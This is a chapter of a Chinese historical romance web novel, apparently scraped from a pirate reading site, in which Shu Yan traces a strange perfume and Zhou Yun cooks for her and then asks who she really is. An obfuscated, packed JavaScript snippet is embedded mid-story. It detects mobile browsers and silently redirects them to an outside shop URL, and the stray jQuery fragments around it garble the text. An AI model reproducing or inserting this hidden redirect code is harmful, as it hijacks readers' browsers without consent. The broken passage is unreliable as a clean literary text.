伤口被药物渗入，一阵刺痛袭来，舒砚罕见地倒吸一口凉气。
周昀如梦方醒，连忙抬起手将药放在一旁，凑近吹了吹。
舒砚虽然还凝视着周昀的面容，可实际上思绪已经放空，她反复咀嚼着周昀的话。
——这股异香，他似乎在哪里闻到过。
胡宛二王子和景珩长公子。
两个国家的王公贵族，什么样的东西能同时出现在他们身上？
沉香、檀香，甚至是一些合香……
这股香气太过特殊，且沾染上便久久难以散去，她抬起手嗅着袖口的味道，眉关紧锁。
忽然闻到了一股熟悉的果木香气。
恍惚刹那，舒砚猛地一僵，她不顾手上的疼痛，一把反抓住周昀的手腕，问他。
“你可还记得是在哪里闻到过这个味道？”
周昀被她吓得动作一滞，神色复杂地抿了抿唇，而后陷入了长久的回忆。
半晌，他苦笑着，声音有些干涩：“似乎是在某人的病榻前，我想不起来了……”
舒砚收回视线，怔忡着放下手，她不知周昀话中几分为真，也不知道自己究竟该不该信他。
只是兀自坐在那里，目光幽深地看着自己的手腕，不知在想什么。
没由来的岑寂像是一股轻烟，在安静的室内挥之不去，周昀继续认真地为舒砚包扎着手腕的伤口，尾端轻轻系了一个结。
“明日早晨，我再为你换药吧。”
舒砚应声后竟是起身，周昀叫住她，后者站在原地，只听周昀问道。
“这里是你的屋子，你要去哪？”
舒砚：“沐浴更衣。”
周昀收拾着药香的动作稍稍停了停，就在舒砚以为他不会回应自己的时候，那道清润的声音犹豫着响起。
“还没吃过东西吧，沐浴之后记得来我院子里，我现在下厨准备些吃的，你想吃什么？”
舒砚有些意外地转过身，周昀嘴角凝着一抹淡笑，整个身影被明月光华笼罩着。
看起来格外的，光风霁月。
“……三脆羹。”
周昀轻笑一声，看起来有些愁苦，走上前忍不住拉起舒砚的手：“我才学了一个月的做饭，你就要点三脆羹。”
舒砚倒是没有抗拒他的动作，只是也不会热忱着回应。
像是一块上好的玉石，明澈可鉴，任其珍惜观赏之外，便再没有旁的反应了。
周昀如此想着，心中难免泛起波澜，似乎有些感叹。
美玉也好，起码玉石没有刺，不会叫他仅仅是抚摸就头破血流。
舒砚看了他一眼，面沉如水：“是你问我想吃什么的。”
周昀捏了捏她的指腹，手指关节和掌心都带着薄茧，有些似乎是写字留下的，有些似乎是被武器磨的。
“可不可以给我一点时间？”周昀语气温软，“三日之内，我一定会学会三脆羹，今天吃别的可好？”
“既然如此，那便尝尝你拿手的吧。”
周昀答应着说好，叫来下人准备换洗衣物，跟着去侍候。
待到了汤泉之外，舒砚勒令苏合等人在外等候，独身进入汤泉，隔着一道屏风解开了自己的衣衫。
抬手将衣衫挂在衣桁上，偌大的室内弥漫着香药的味道，不算浓烈，在袅袅水汽的蒸腾下让人一瞬间就放松了下来。
舒砚知道汤泉内的香药有安神的作用，她连日来紧绷的神思难得放松，心思活泛之下，脑中也清明了不少。
香料的味道——
舒砚嗅了嗅自己的衣衫袖口，那不知名香药的味道尤其浓烈。
彼时在鸿胪客馆内，她看着胡宛二王子胡涅安扑来的动作，刻意没有躲避，只是想试探胡涅安的反应。
未成想竟有如此收获，胡涅安攥过的地方，沾染了挥之不去的味道。
舒砚走到桌案边，杯子里倒了一点清水，她浸湿袖子，再去闻时，袖子留下的奇香味道不但没有散，反而有多了一层甜腻的味道。
沐浴之后，下人来收旧衣服，舒砚用一根玉簪绾起了发，看着下人的动作，忽然出声。
“叫府医来。”
那下人一怔，如临大敌：“舒小君可是又伤到哪里了？”
舒砚指了指她怀里的衣服：“不是，你且拿着这件衣衫，问她是否曾闻过这上面的香气。”
不知那香味会留下多久，舒砚抿了抿唇，说道：“速去速回。”
未几，周昀院内的下人便来请舒砚过去。
“天色有些晚了，我便简单准备了一些。”
一条攀膊自他的手臂环绕而上，在云纹铺展的背脊上勒出一道浅浅的痕迹，修长的颈上，喉结随着说话的动作上下滚动，像是舒砚穿过内室时，素手拨开的珠帘上的玉珠。
舒砚忽然觉得手背有些发痒。
垂眸，却见周昀如玉般的手指轻轻拂过她的手背，一寸一寸抚摸着向上，最后停在了她被包扎好的腕上。
而后周昀不由分说地执起她的手腕，反复检查了一圈，松了一口气。
“没有沾水，还好。”
舒砚眉头舒展，望向了桌上珍馐美馔一般的晚膳，又抬眼看了看浓稠的夜色。
“我倒是第一次这么晚吃东西。”
两个人在小几的两面对坐，周昀在一边放了软软的垫子，舒砚背靠着，半干的发乖顺地垂在肩头。
盛夏暑热，她衣着单薄，素纱轻若薄雾笼罩着身体，肩头若隐若现，许是大病初愈，愈发显得病骨支离。
周昀的视线，在她的肩头停顿，深深看了一眼，不知在想什么。
那其中，并未旖旎邪念，反倒是带着点舒砚看不懂的情绪。
像是她最深的记忆中，幼小孩童深陷在被衾高热不退，病床前父亲探过来的宽厚温柔的手。
那时父亲抚摸着她满头的岑岑冷汗，一如此刻，他瞧向自己胸口疤痕的那深深一眼。
觉察到舒砚的出神，周昀布菜的手停了停。
一碗羹汤被推到她的面前，头顶周昀的声音响起：“百味羹，玉棋子这两道，我刚学会，不知味道如何。”
舒砚舀了一勺送进嘴里，周昀知道她一向喜怒不形于色，因此并没有想从她的嘴中听到明晃晃的夸赞。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764591|178821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不过她接连舀了几勺的举动，便已经说明了一切。
“你喜欢便好，”周昀这才为自己夹菜，“晚上少食一些，何况现在已经过了时辰了。”
舒砚匪夷所思地抬起头，深深地看了周昀一眼。
叫了他一声：“周昀。”
后者抬起头，正襟危坐。
舒砚：“你不是一向食不言寝不语的吗？”
周昀身子蓦然一僵，很快垂下头去：“嗯……”
而后半晌再没有说出一个字，似乎受了很大的伤。
舒砚将他的反应尽收眼底，汤匙送到唇边，白瓷遮掩之下，唇角竟有刹那间弯了弯。
宁静如雪原的眼瞳，消雪化冰。
周昀怔了一刻，一股难以言喻的情绪一点点流淌，四肢百骸，遍布全身。
她似乎有些微的餍足，周昀看着，一时没有动。
八角窗上倒映着潇湘雨竹，这间屋子的主人，向来常守一寸天光，独行独坐独卧，一杆寒灯对影，夏日对残荷，冬日对寒松。
窗影婆娑，两道人影对坐，明月清风，将他们的影子拉得很长。
长到，依偎在了一起。
周昀垂下眼眸，太过圆满的刹那像是满潮的海，落幕之后是神伤，于是没由来的恐惧笼罩着他，惶惶。
灯下相伴，桌案上残羹冷饭已经被撤走，周昀拿了一块巾布为她擦着发。
一举一动间，冷香幽幽，乱他心神。
披散的三千青丝乱了周昀的心智，恍惚刹那，一种冲动攫取了他的神智，周昀不算宽厚的怀抱，将她紧紧包裹。
舒砚愕然，语气含厉，却没有挣扎：“周昀，你做什么？！”
周昀将头埋在她的背脊间，声音有些闷，说话时温热的气息喷洒在她的背上。
那道声音再无平日的清润，反倒带着丝挣扎的苦痛，还有求不得的苦笑。
“凡人嗜贪，总是妄想每时每刻，可我只想要此时此刻。”
他的手臂收紧了一些，周昀祈求着：“告诉我，你是谁，你叫什么，好吗？”
怀中的人身形僵立，似乎用了很长时间才找回了自己的声音。
她声音冷肃，怡然未改：“这屋子里只有我们两个人，你在问谁？”
“当然是问你，我的妻子，我的求而不得。告诉我，你是谁。”
周昀抱得很紧，舒砚动了动手臂：“舒征、舒义明，我的名字，你不是知道吗？”
闻声，他似有怅然，声音凄惘，仍旧固执追问着不肯放手。
“你不是她，神山初见我就在猜想，后来我敢肯定，你不是她。这寸天地间只有我们二人，告诉我，我不想一辈子都只记住那个不属于你的名字。”
怀中的人侧过头，露出了半张侧脸。
周昀也得以窥见了她向来沉静的眼眸中，此时此刻流露出的不一样的情绪。
那是涌动的、流水一样的月光。
琉璃万顷，清光皎洁。
似是一颗星，一滴泪。
他的妻子，呢喃着：“周昀，周昀……你这样的人，怎么偏偏碰上了我这样的人。”